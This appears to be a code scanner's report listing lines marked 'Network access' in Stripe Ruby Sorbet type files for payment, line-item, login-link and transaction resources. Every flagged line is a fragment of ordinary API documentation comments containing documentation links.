# Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 343
sig { returns(T.nilable(T.any(String, ::Stripe::Issuing::Authorization))) } def authorization; end # ID of the [balance transaction](https://docs.stripe.com/api/balance_transactions) associated with this transaction. - Network accessline 344
def authorization; end # ID of the [balance transaction](https://docs.stripe.com/api/balance_transactions) associated with this transaction. sig { returns(T.nilable(T.any(String, ::Stripe::BalanceTransaction))) } - Network accessline 345
# ID of the [balance transaction](https://docs.stripe.com/api/balance_transactions) associated with this transaction. - Network accessline 355
sig { returns(Integer) } def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 356
def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 357
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 367
sig { returns(T::Boolean) } def livemode; end # The amount that the merchant will receive, denominated in `merchant_currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). It will be diffe - Network accessline 368
def livemode; end # The amount that the merchant will receive, denominated in `merchant_currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). It will be different from `amount` if the merchant - Network accessline 369
# The amount that the merchant will receive, denominated in `merchant_currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). It will be different from `amount` if the merchant is taking payment in a - Network accessline 376
sig { returns(MerchantData) } def merchant_data; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a - Network accessline 377
def merchant_data; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { retur - Network accessline 378
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 388
sig { returns(T.nilable(PurchaseDetails)) } def purchase_details; end # [Token](https://docs.stripe.com/api/issuing/tokens/object) object used for this transaction. If a network token was not used for this transaction, this fiel - Network accessline 389
def purchase_details; end # [Token](https://docs.stripe.com/api/issuing/tokens/object) object used for this transaction. If a network token was not used for this transaction, this field will be null. sig { returns(T.nilable(T.an - Network accessline 390
# [Token](https://docs.stripe.com/api/issuing/tokens/object) object used for this transaction. If a network token was not used for this transaction, this field will be null. - Network accessline 391
sig { returns(T.nilable(T.any(String, ::Stripe::Issuing::Token))) } def token; end # [Treasury](https://docs.stripe.com/api/treasury) details related to this transaction if it was created on a [FinancialAccount](/docs/api/treasu - Network accessline 392
def token; end # [Treasury](https://docs.stripe.com/api/treasury) details related to this transaction if it was created on a [FinancialAccount](/docs/api/treasury/financial_accounts sig { returns(T.nilable(Treasury)) } - Network accessline 393
# [Treasury](https://docs.stripe.com/api/treasury) details related to this transaction if it was created on a [FinancialAccount](/docs/api/treasury/financial_accounts
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/line_item.rbi
- Network accessline 10
sig { returns(Integer) } def amount; end # A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes). - Network accessline 11
def amount; end # A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes). # It contains information about when the discount began, w - Network accessline 12
# A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes). - Network accessline 13
# It contains information about when the discount began, when it will end, and what it is applied to. # # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts) - Network accessline 14
# # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts) sig { returns(::Stripe::Discount) } - Network accessline 15
# Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts) - Network accessline 57
sig { returns(Integer) } def amount_total; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 58
def amount_total; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 59
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 69
sig { returns(String) } def id; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 70
def id; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T.nilable(T: - Network accessline 71
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/login_link.rbi
- Network accessline 5
module Stripe # Login Links are single-use URLs that takes an Express account to the login page for their Stripe dashboard. # A Login Link differs from an [Account Link](https://docs.stripe.com/api/account_links) in that it takes the us - Network accessline 6
# Login Links are single-use URLs that takes an Express account to the login page for their Stripe dashboard. # A Login Link differs from an [Account Link](https://docs.stripe.com/api/account_links) in that it takes the user directly to t - Network accessline 7
# A Login Link differs from an [Account Link](https://docs.stripe.com/api/account_links) in that it takes the user directly to their [Express dashboard for the specified account](https://docs.stripe.com/connect/integrate-express-dashboard#c
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/payment_attempt_record.rbi
- Network accessline 10
class PaymentAttemptRecord < APIResource class Amount < ::Stripe::StripeObject # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/d - Network accessline 11
class Amount < ::Stripe::StripeObject # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) - Network accessline 12
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 13
sig { returns(String) } def currency; end # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. - Network accessline 14
def currency; end # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. sig { returns(Integer) } - Network accessline 15
# A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. - Network accessline 24
end class AmountAuthorized < ::Stripe::StripeObject # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 25
class AmountAuthorized < ::Stripe::StripeObject # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { return - Network accessline 26
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 27
sig { returns(String) } def currency; end # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. - Network accessline 28
def currency; end # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. sig { returns(Integer) } - Network accessline 29
# A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. - Network accessline 38
end class AmountCanceled < ::Stripe::StripeObject # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 39
class AmountCanceled < ::Stripe::StripeObject # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns( - Network accessline 40
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 41
sig { returns(String) } def currency; end # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. - Network accessline 42
def currency; end # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. sig { returns(Integer) } - Network accessline 43
# A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. - Network accessline 52
end class AmountFailed < ::Stripe::StripeObject # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 53
class AmountFailed < ::Stripe::StripeObject # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(St - Network accessline 54
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 55
sig { returns(String) } def currency; end # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. - Network accessline 56
def currency; end # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. sig { returns(Integer) } - Network accessline 57
# A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. - Network accessline 66
end class AmountGuaranteed < ::Stripe::StripeObject # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 67
class AmountGuaranteed < ::Stripe::StripeObject # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { return - Network accessline 68
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 69
sig { returns(String) } def currency; end # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. - Network accessline 70
def currency; end # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. sig { returns(Integer) } - Network accessline 71
# A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. - Network accessline 80
end class AmountRefunded < ::Stripe::StripeObject # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 81
class AmountRefunded < ::Stripe::StripeObject # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns( - Network accessline 82
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 83
sig { returns(String) } def currency; end # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. - Network accessline 84
def currency; end # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. sig { returns(Integer) } - Network accessline 85
# A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. - Network accessline 94
end class AmountRequested < ::Stripe::StripeObject # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 95
class AmountRequested < ::Stripe::StripeObject # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns - Network accessline 96
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 97
sig { returns(String) } def currency; end # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. - Network accessline 98
def currency; end # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. sig { returns(Integer) } - Network accessline 99
# A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. - Network accessline 204
end class Affirm < ::Stripe::StripeObject # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to. - Network accessline 205
class Affirm < ::Stripe::StripeObject # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to. sig { returns(T.nilable(String)) } - Network accessline 206
# ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to. - Network accessline 207
sig { returns(T.nilable(String)) } def location; end # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on. - Network accessline 208
def location; end # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on. sig { returns(T.nilable(String)) } - Network accessline 209
# ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on. - Network accessline 426
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 427
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 428
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 438
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 439
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 440
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 756
sig { returns(T.nilable(String)) } def brand; end # The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card. - Network accessline 757
def brand; end # The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card. sig { returns(T.nilable(String)) } - Network accessline 758
# The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card. - Network accessline 762
sig { returns(T.nilable(Integer)) } def capture_before; end # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characte - Network accessline 763
def capture_before; end # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In s - Network accessline 764
# The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m - Network accessline 794
sig { returns(T.nilable(String)) } def iin; end # Whether this [PaymentIntent](https://docs.stripe.com/api/payment_intents) is eligible for incremental authorizations. Request support using [request_incremental_authorization - Network accessline 795
def iin; end # Whether this [PaymentIntent](https://docs.stripe.com/api/payment_intents) is eligible for incremental authorizations. Request support using [request_incremental_authorization_support](https://docs.stripe.com/api/payme - Network accessline 796
# Whether this [PaymentIntent](https://docs.stripe.com/api/payment_intents) is eligible for incremental authorizations. Request support using [request_incremental_authorization_support](https://docs.stripe.com/api/payment_intents/create#cre - Network accessline 1028
sig { returns(T.nilable(String)) } def brand; end # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and fir - Network accessline 1029
def brand; end # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases - Network accessline 1030
# The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m - Network accessline 1349
end class Paynow < ::Stripe::StripeObject # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to. - Network accessline 1350
class Paynow < ::Stripe::StripeObject # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to. sig { returns(T.nilable(String)) } - Network accessline 1351
# ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to. - Network accessline 1352
sig { returns(T.nilable(String)) } def location; end # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on. - Network accessline 1353
def location; end # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on. sig { returns(T.nilable(String)) } - Network accessline 1354
# ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on. - Network accessline 1564
sig { returns(T.nilable(String)) } def last4; end # Find the ID of the mandate used for this payment under the [payment_method_details.sepa_debit.mandate](https://docs.stripe.com/api/charges/object#charge_object-payment_meth - Network accessline 1565
def last4; end # Find the ID of the mandate used for this payment under the [payment_method_details.sepa_debit.mandate](https://docs.stripe.com/api/charges/object#charge_object-payment_method_details-sepa_debit-mandate) property on - Network accessline 1566
# Find the ID of the mandate used for this payment under the [payment_method_details.sepa_debit.mandate](https://docs.stripe.com/api/charges/object#charge_object-payment_method_details-sepa_debit-mandate) property on the Charge. Use this ma - Network accessline 1691
sig { returns(T.nilable(String)) } def fingerprint; end # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to. - Network accessline 1692
def fingerprint; end # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to. sig { returns(T.nilable(String)) } - Network accessline 1693
# ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to. - Network accessline 1694
sig { returns(T.nilable(String)) } def location; end # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on. - Network accessline 1695
def location; end # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on. sig { returns(T.nilable(String)) } - Network accessline 1696
# ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on. - Network accessline 1885
sig { returns(T.nilable(Twint)) } def twint; end # The type of transaction-specific details of the payment method used in the payment. See [PaymentMethod.type](https://docs.stripe.com/api/payment_methods/object#payment_method_ob - Network accessline 1886
def twint; end # The type of transaction-specific details of the payment method used in the payment. See [PaymentMethod.type](https://docs.stripe.com/api/payment_methods/object#payment_method_object-type) for the full list of possible - Network accessline 1887
# The type of transaction-specific details of the payment method used in the payment. See [PaymentMethod.type](https://docs.stripe.com/api/payment_methods/object#payment_method_object-type) for the full list of possible types. - Network accessline 2001
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2002
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 2003
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2013
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 2014
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 2015
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 2081
sig { returns(T::Boolean) } def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured - Network accessline 2082
def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T::Has - Network accessline 2083
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/payment_intent.rbi
- Network accessline 10
# # A PaymentIntent transitions through # [multiple statuses](https://docs.stripe.com/payments/paymentintents/lifecycle) - Network accessline 11
# A PaymentIntent transitions through # [multiple statuses](https://docs.stripe.com/payments/paymentintents/lifecycle) # throughout its lifetime as it interfaces with Stripe.js to perform - Network accessline 12
# [multiple statuses](https://docs.stripe.com/payments/paymentintents/lifecycle) - Network accessline 14
# authentication flows and ultimately creates at most one successful charge. # # Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents) - Network accessline 15
# # Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents) class PaymentIntent < APIResource - Network accessline 16
# Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents) - Network accessline 18
class AmountDetails < ::Stripe::StripeObject class Shipping < ::Stripe::StripeObject # If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#ze - Network accessline 19
class Shipping < ::Stripe::StripeObject # If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than or equal to 0. - Network accessline 20
# If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than or equal to 0. - Network accessline 35
end class Tax < ::Stripe::StripeObject # The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than o - Network accessline 36
class Tax < ::Stripe::StripeObject # The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than or equal to - Network accessline 37
# The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than or equal to 0. - Network accessline 58
end end # The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. - Network accessline 59
end # The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. # - Network accessline 60
# The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. - Network accessline 85
# Controls whether this PaymentIntent will accept redirect-based payment methods. # # Redirect-based payment methods may require your customer to be redirected to a payment method's app or site for authentication or additional s - Network accessline 86
# # Redirect-based payment methods may require your customer to be redirected to a payment method's app or site for authentication or additional steps. To [confirm](https://docs.stripe.com/api/payment_intents/confirm) this PaymentInte - Network accessline 87
# Redirect-based payment methods may require your customer to be redirected to a payment method's app or site for authentication or additional steps. To [confirm](https://docs.stripe.com/api/payment_intents/confirm) this PaymentIntent, you - Network accessline 101
class Inputs < ::Stripe::StripeObject class Tax < ::Stripe::StripeObject # The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id - Network accessline 102
class Tax < ::Stripe::StripeObject # The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id sig { returns(String) } - Network accessline 103
# The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id - Network accessline 132
end class LastPaymentError < ::Stripe::StripeObject # For card errors resulting from a card issuer decline, a short string indicating [how to proceed with an error](https://docs.stripe.com/declines#retrying-issuer-declines) if the - Network accessline 133
class LastPaymentError < ::Stripe::StripeObject # For card errors resulting from a card issuer decline, a short string indicating [how to proceed with an error](https://docs.stripe.com/declines#retrying-issuer-declines) if they provid - Network accessline 134
# For card errors resulting from a card issuer decline, a short string indicating [how to proceed with an error](https://docs.stripe.com/declines#retrying-issuer-declines) if they provide one. - Network accessline 138
sig { returns(T.nilable(String)) } def charge; end # For some errors that could be handled programmatically, a short string indicating the [error code](https://docs.stripe.com/error-codes) reported. - Network accessline 139
def charge; end # For some errors that could be handled programmatically, a short string indicating the [error code](https://docs.stripe.com/error-codes) reported. sig { returns(T.nilable(String)) } - Network accessline 140
# For some errors that could be handled programmatically, a short string indicating the [error code](https://docs.stripe.com/error-codes) reported. - Network accessline 141
sig { returns(T.nilable(String)) } def code; end # For card errors resulting from a card issuer decline, a short string indicating the [card issuer's reason for the decline](https://docs.stripe.com/declines#issuer-declines) if t - Network accessline 142
def code; end # For card errors resulting from a card issuer decline, a short string indicating the [card issuer's reason for the decline](https://docs.stripe.com/declines#issuer-declines) if they provide one. sig { returns(T.ni - Network accessline 143
# For card errors resulting from a card issuer decline, a short string indicating the [card issuer's reason for the decline](https://docs.stripe.com/declines#issuer-declines) if they provide one. - Network accessline 144
sig { returns(T.nilable(String)) } def decline_code; end # A URL to more information about the [error code](https://docs.stripe.com/error-codes) reported. - Network accessline 145
def decline_code; end # A URL to more information about the [error code](https://docs.stripe.com/error-codes) reported. sig { returns(T.nilable(String)) } - Network accessline 146
# A URL to more information about the [error code](https://docs.stripe.com/error-codes) reported. - Network accessline 169
# authentication flows and ultimately creates at most one successful charge. # # Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents) - Network accessline 170
# # Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents) sig { returns(T.nilable(::Stripe::PaymentIntent)) } - Network accessline 171
# Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents) - Network accessline 173
def payment_intent; end # PaymentMethod objects represent your customer's payment instruments. # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to - Network accessline 174
# PaymentMethod objects represent your customer's payment instruments. # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to # Customer objects to store in - Network accessline 175
# You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to - Network accessline 176
# Customer objects to store instrument details for future payments. # # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payme - Network accessline 177
# # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payment-scenarios). sig { returns(T.nilable(::Stripe::PaymentMethod)) } - Network accessline 178
# Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payment-scenarios). - Network accessline 187
# A SetupIntent guides you through the process of setting up and saving a customer's payment credentials for future payments. # For example, you can use a SetupIntent to set up and save your customer's card without immediately collect - Network accessline 188
# For example, you can use a SetupIntent to set up and save your customer's card without immediately collecting a payment. # Later, you can use [PaymentIntents](https://api.stripe.com#payment_intents) to drive the payment flow. - Network accessline 189
# Later, you can use [PaymentIntents](https://api.stripe.com#payment_intents) to drive the payment flow. - Network accessline 191
# Create a SetupIntent when you're ready to collect your customer's payment credentials. # Don't maintain long-lived, unconfirmed SetupIntents because they might not be valid. # The SetupIntent transitions through multiple [stat - Network accessline 192
# Don't maintain long-lived, unconfirmed SetupIntents because they might not be valid. # The SetupIntent transitions through multiple [statuses](https://docs.stripe.com/payments/intents#intent-statuses) as it guides # you throug - Network accessline 193
# The SetupIntent transitions through multiple [statuses](https://docs.stripe.com/payments/intents#intent-statuses) as it guides - Network accessline 195
# # Successful SetupIntents result in payment credentials that are optimized for future payments. # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run thr - Network accessline 196
# Successful SetupIntents result in payment credentials that are optimized for future payments. # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run through - Network accessline 197
# For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run through - Network accessline 198
# [Strong Customer Authentication](https://docs.stripe.com/strong-customer-authentication) during payment method collection - Network accessline 199
# to streamline later [off-session payments](https://docs.stripe.com/payments/setup-intents). - Network accessline 200
# If you use the SetupIntent with a [Customer](https://api.stripe.com#setup_intent_object-customer), - Network accessline 201
# it automatically attaches the resulting payment method to that Customer after successful setup. # We recommend using SetupIntents or [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) on # Pa - Network accessline 202
# We recommend using SetupIntents or [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) on - Network accessline 205
# By using SetupIntents, you can reduce friction for your customers, even as regulations change over time. # # Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents) - Network accessline 206
# # Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents) sig { returns(T.nilable(::Stripe::SetupIntent)) } - Network accessline 207
# Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents) - Network accessline 319
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 320
